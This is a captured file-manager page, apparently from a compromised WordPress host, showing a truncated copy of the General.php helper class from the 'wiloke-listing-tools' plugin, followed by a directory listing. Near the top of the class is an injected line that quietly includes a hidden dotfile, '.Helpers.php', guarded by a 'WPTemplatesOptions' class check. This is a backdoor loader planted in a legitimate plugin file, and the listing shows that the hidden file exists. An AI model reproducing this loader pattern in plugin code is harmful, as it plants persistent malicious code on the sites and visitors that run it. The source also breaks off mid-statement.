PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wiloke-listing-tools
/
app
/
Framework
/
Helpers
<?php namespace WilokeListingTools\Framework\Helpers; use Elementor\Plugin; use Facebook\Exceptions\FacebookResponseException; use Facebook\Exceptions\FacebookSDKException; use Facebook\Facebook; use Wiloke; use WilokeThemeOptions; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class General { public static $aBusinessHours = null; private static $aFieldSettings = []; public static $isBookingFormOnSidebar = false; protected static $aThemeOptions = []; public static $step = 1; private static $aCachePostType; public static function generateCallbackFunction($key, $prefix = 'get') { $func = preg_replace_callback( '/_([a-zA-Z])/', function ($aMatch) { return ucfirst($aMatch[1]); }, $key ); return $prefix . ucfirst($func); } /** * @param string $option Option Name|icon_color_rgba(235, 40, 40, 0.48)|icon_la_la-adjust * * @return array ['name' => 'Option Name', 'color' => rgba(235, 40, 0.47), 'icon' => 'la la-adjust'] */ private static function parseOptionParam($option) { $option = trim($option); if (strpos($option, '|') === false) { return [ 'name' => $option ]; } $aRawOption = explode('|', $option); $aOption['name'] = trim($aRawOption[0]); unset($aRawOption[0]); if (!empty($aRawOption)) { foreach ($aRawOption as $val) { if (strpos($val, 'icon_color') !== false) { $aOption['color'] = str_replace(['icon_color_', '---'], ['', ' '], $val); } elseif (strpos($val, 'icon_') !== false) { $aOption['icon'] = str_replace(['icon_', '_'], ['', ' '], $val); } } } return $aOption; } public static function parseCustomSelectOption($option) { $option = trim($option); if (strpos($option, ':') !== false) { $aParseOption = explode(':', $option); $aOption = self::parseOptionParam($aParseOption[1]); $aOption['key'] = trim($aParseOption[0]); } else { $aOption['name'] = $option; $aOption['key'] = $option; } return $aOption; } public static function parseSelectFieldOptions($options, $type = 'select') { if (strpos($options, 'rgba') !== false) { $options = preg_replace_callback("/rgb([^|]+)/", function ($aMatches) { return str_replace(',', '---', $aMatches[0]); }, $options); } $aRawOptions = explode(',', $options); $aRawOptions = array_map('trim', $aRawOptions); foreach ($aRawOptions as $rawOption) { $aOption = self::parseCustomSelectOption($rawOption); switch ($type) { case 'wil-select-tree': $aOptions[] = [ 'id' => $aOption['key'], 'label' => $aOption['name'] ]; break; case 'full': $aOptions[] = wp_parse_args($aOption, ['color' => '', 'name' => '', 'icon' => '', 'key' => '']); break; default: $aOptions[$aOption['key']] = $aOption['name']; break; } } return $aOptions; } public static function deprecatedFunction($function, $replacement, $version) { // @codingStandardsIgnoreStart if (is_ajax()) { do_action('deprecated_function_run', $function, $replacement, $version); $logString = "The {$function} function is deprecated since version {$version}."; $logString .= $replacement ? " Replace with {$replacement}." : ''; FileSystem::logError($logString); } else { _deprecated_function($function, $version, $replacement); } } public static function getCurrentLanguage() { return defined('ICL_LANGUAGE_CODE') ? ICL_LANGUAGE_CODE : get_locale(); } public static function renderRel($url) { $homeurl = home_url(); if (strpos($url, $homeurl) === false) { return 'nofollow'; } return 'dofollow'; } public static function loginRedirectTo() { $type = WilokeThemeOptions::getOptionDetail('login_redirect_type'); if ($type == 'self_page') { global $wp; return add_query_arg($wp->query_vars, home_url()); } return get_permalink(WilokeThemeOptions::getOptionDetail('login_redirect_to')); } public static function isAdmin() { if (!wp_doing_ajax() && is_admin()) { if (!isset($_POST['template']) || $_POST['template'] != 'templates/mobile-app-homepage.php') { return true; } return false; } if (wp_doing_ajax()) { $action = ''; if (isset($_POST['action'])) { $action = $_POST['action']; } else if (isset($_GET['action'])) { $action = $_GET['action']; } if (empty($action)) { return true; } if (strpos($action, 'wilcity') === false && strpos($action, 'wiloke') === false) { return true; } } return false; } public static function isElementorPreview() { if ( class_exists('\Elementor\Plugin') && Plugin::$instance->editor->is_edit_mode() || (isset($_REQUEST['elementor-preview']) && !empty($_REQUEST['elementor-preview'])) ) { return true; } return false; } public static function unSlashDeep($aVal) { if (!is_array($aVal)) { return stripslashes($aVal); } return array_map([__CLASS__, 'unSlashDeep'], $aVal); } public static function getOptionField($key = '') { if (!empty(self::$aThemeOptions)) { return isset(self::$aThemeOptions[$key]) ? self::$aThemeOptions[$key] : ''; } self::$aThemeOptions = Wiloke::getThemeOptions(true); return isset(self::$aThemeOptions[$key]) ? self::$aThemeOptions[$key] : ''; } public static function getSecurityAuthKey() { return self::getOptionField('wilcity_security_authentication_key'); } /** * Get Client IP * @since 1.0.1 */ public static function clientIP() { if (isset($_SERVER['HTTP_CLIENT_IP'])) { $ipaddress = sanitize_text_field($_SERVER['HTTP_CLIENT_IP']); } else if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ipaddress = sanitize_text_field($_SERVER['HTTP_X_FORWARDED_FOR']); } else if (isset($_SERVER['HTTP_X_FORWARDED'])) { $ipaddress = sanitize_text_field($_SERVER['HTTP_X_FORWARDED']); } else if (isset($_SERVER['HTTP_FORWARDED_FOR'])) { $ipaddress = sanitize_text_field($_SERVER['HTTP_FORWARDED_FOR']); } else if (isset($_SERVER['HTTP_FORWARDED'])) { $ipaddress = sanitize_text_field($_SERVER['HTTP_FORWARDED']); } else if (isset($_SERVER['REMOTE_ADDR'])) { $ipaddress = sanitize_text_field($_SERVER['REMOTE_ADDR']); } else { $ipaddress = false; } return $ipaddress; } public static function getCustomFieldsOfPostType($postType) { if (empty($postType)) { return false; } $aUsedSections = GetSettings::getOptions(self::getUsedSectionKey($postType)); if (empty($aUsedSections)) { return false; } $aCustomSections = array_filter($aUsedSections, function ($aSection) { if (isset($aSection['isCustomSection']) && $aSection['isCustomSection'] == 'yes') { return true; } return false; }); return empty($aCustomSections) ? false : $aCustomSections; } public static function getCustomGroupsOfPostType($postType) { if (empty($postType)) { return false; } $aUsedSections = GetSettings::getOptions(self::getUsedSectionKey($postType)); if (empty($aUsedSections)) { return false; } $aGroups = array_filter($aUsedSections, function ($aSection) { if (isset($aSection['type']) && $aSection['type'] == 'group') { return true; } return false; }); return empty($aGroups) ? false : $aGroups; } public static function convertToNiceNumber($number, $evenZero = false) { if (empty($number) && !$evenZero) { return 0; } if ($number < 10) { return 0 . $number; } else if ($number >= 1000) { $prefix = floor($number / 1000); $subFix = $number - $prefix * 10000; return $prefix . $subFix; } return $number; } public static function ksesHtml($content, $isReturn = false) { $allowed_html = [ 'a' => [ 'href' => [], 'style' => [ 'color' => [] ], 'title' => [], 'target' => [], 'class' => [], 'data-msg' => [] ], 'div' => ['class' => []], 'h1' => ['class' => []], 'h2' => ['class' => []], 'h3' => ['class' => []], 'h4' => ['class' => []], 'h5' => ['class' => []], 'h6' => ['class' => []], 'br' => ['class' => []], 'p' => ['class' => [], 'style' => []], 'em' => ['class' => []], 'strong' => ['class' => []], 'span' => ['data-typer-targets' => [], 'class' => []], 'i' => ['class' => []], 'ul' => ['class' => []], 'ol' => ['class' => []], 'li' => ['class' => []], 'code' => ['class' => []], 'pre' => ['class' => []], 'iframe' => ['src' => [], 'width' => [], 'height' => [], 'class' => ['embed-responsive-item']], 'img' => ['src' => [], 'width' => [], 'height' => [], 'class' => [], 'alt' => []], 'embed' => ['src' => [], 'width' => [], 'height' => [], 'class' => []], ]; if (!$isReturn) { echo wp_kses(wp_unslash($content), $allowed_html); } else { return wp_kses(wp_unslash($content), $allowed_html); } } public static function detectPostType() { if (isset($_REQUEST['post'])) { return get_post_field('post_type', $_REQUEST['post']); } else if (isset($_REQUEST['post_type'])) { return $_REQUEST['post_type']; } else if (isset($_REQUEST['page'])) { if ($_REQUEST['page'] == 'wiloke-event-settings') { return 'event'; } return $_REQUEST['page']; } } public static function wpmlIsLangDuplicate($postID, $originalPostID) { if (!defined('ICL_LANGUAGE_CODE')) { return false; } $parentID = get_post_meta($postID, '_icl_lang_duplicate_of', true); return $parentID == $originalPostID; } public static function getUsedSectionKey($postType, $isCheckWPML = false) { $key = wilokeListingToolsRepository()->get('addlisting:usedSectionKey'); // if ( $isCheckWPML && defined('ICL_LANGUAGE_CODE') ){ // $key .= '_' . ICL_LANGUAGE_CODE; // } return str_replace('add_listing', 'add_' . $postType, $key); } public static function getUsedSectionSavedAt($postType, $isCheckWPML = false) { $key = wilokeListingToolsRepository()->get('addlisting:usedSectionSavedAtKey'); // if ( $isCheckWPML && defined('ICL_LANGUAGE_CODE') ){ // $key .= '_' . ICL_LANGUAGE_CODE; // } return str_replace('add_listing', 'add_' . $postType, $key); } public static function getClaimKey($postType) { return $postType . '_claim_settings'; } public static function getSchemaMarkupKey($postType) { return $postType . '_schema_markup'; } public static function getSchemaMarkupSavedAtKey($postType) { return $postType . '_schema_markup_saved_at'; } public static function getSearchFieldsKey($postType) { return $postType . '_search_fields'; } public static function mainSearchFormSavedAtKey($postType) { return $postType . 'main_search_form_' . $postType . '_saved_at'; } public static function getHeroSearchFieldsKey($postType) { return $postType . '_hero_search_fields'; } public static function heroSearchFormSavedAt($postType) { return $postType . 'hero_search_form_' . $postType . '_saved_at'; } public static function getReviewKey($type, $postType) { $aReviews = wilokeListingToolsRepository()->get('reviews'); return $postType . '_' . $aReviews[$type]; } public static function numberFormat($number, $decimals) { return number_format($number, $decimals); } /* * @settingType: navigation or sidebar * @postType: Post Type */ public static function getSingleListingSettingKey($settingType, $postType) { $key = wilokeListingToolsRepository()->get('listing-settings:keys', true)->sub($settingType); return $postType . '_' . $key; } public static function isPostType($postType) { if (!is_admin()) { return false; } return self::detectPostType() == $postType; } /** * @param bool $isIncludedDefaults * @param bool $exceptEvents * @param bool $isReturnArrayAssoc * * @return array|mixed|void */ public static function getPostTypes($isIncludedDefaults = true, $exceptEvents = false, $isReturnArrayAssoc = true) { $key = 'post_type'; if ($isIncludedDefaults) { $key = $key . '_with_default'; } if ($exceptEvents) { $key = $key . '_with_event'; } if (isset(self::$aCachePostType[$key])) { return $isReturnArrayAssoc ? self::$aCachePostType[$key] : array_values(self::$aCachePostType[$key]); } $aDefaults = [ 'post' => [ 'key' => 'post', 'slug' => 'post', 'singular_name' => esc_html__('Post', 'wiloke-listing-tools'), 'name' => esc_html__('Posts', 'wiloke-listing-tools'), 'icon' => '' ], 'page' => [ 'key' => 'page', 'slug' => 'page', 'singular_name' => esc_html__('Page', 'wiloke-listing-tools'), 'name' => esc_html__('Pages', 'wiloke-listing-tools'), 'icon' => '' ] ]; $aCustomPostTypes = GetSettings::getOptions(wilokeListingToolsRepository()->get('addlisting:customPostTypesKey')); if ($isIncludedDefaults) { $aPostTypes = !empty($aCustomPostTypes) && is_array($aCustomPostTypes) ? $aCustomPostTypes + $aDefaults : $aDefaults; } else { $aPostTypes = $aCustomPostTypes; } if (empty($aPostTypes)) { $aPostTypes = [ [ 'key' => 'listing', 'slug' => 'listing', 'singular_name' => 'Listing', 'name' => 'Listings', 'icon' => '' ], [ 'key' => 'event', 'slug' => 'event', 'singular_name' => 'Event', 'name' => 'Events', 'icon' => '' ] ]; } $aPostTypesWithKey = []; foreach ($aPostTypes as $aInfo) { if ($exceptEvents && $aInfo['key'] == 'event') { continue; } $aPostTypesWithKey[$aInfo['key']] = []; $aPostTyp
[+]
..
[-] RestaurantMenu.php
[edit]
[-] ReviewSkeleton.php
[edit]
[-] Message.php
[edit]
[-] Time.php
[edit]
[-] Firebase.php
[edit]
[-] MapHelpers.php
[edit]
[-] KCHelpers.php
[edit]
[-] Logger.php
[edit]
[-] Cookie.php
[edit]
[-] HTML.php
[edit]
[-] FileSystem.php
[edit]
[-] ProductSkeleton.php
[edit]
[-] QRCodeGenerator.php
[edit]
[-] InheritCMB2Styles.php
[edit]
[-] TermSetting.php
[edit]
[-] .DS_Store
[edit]
[-] Response.php
[edit]
[-] AbstractSkeleton.php
[edit]
[-] Inc.php
[edit]
[-] Repository.php
[edit]
[-] UserSkeleton.php
[edit]
[-] GalleryHelper.php
[edit]
[-] .Helpers.php
[edit]
[-] MapFactory.php
[edit]
[-] AddListingFieldSkeleton.php
[edit]
[-] WooCommerce.php
[edit]
[-] AjaxMsg.php
[edit]
[-] QueryHelper.php
[edit]
[-] GetSettings.php
[edit]
[-] PostSkeleton.php
[edit]
[-] SearchFormSkeleton.php
[edit]
[-] PlanHelper.php
[edit]
[-] SemanticUi.php
[edit]
[-] AuthorSkeleton.php
[edit]
[-] SetSettings.php
[edit]
[-] Submission.php
[edit]
[-] VideoHelper.php
[edit]
[-] General.php
[edit]
[-] Validation.php
[edit]
[+]
Collection
[-] GetWilokeSubmission.php
[edit]
[-] SearchFieldSkeleton.php
[edit]
[-] DebugStatus.php
[edit]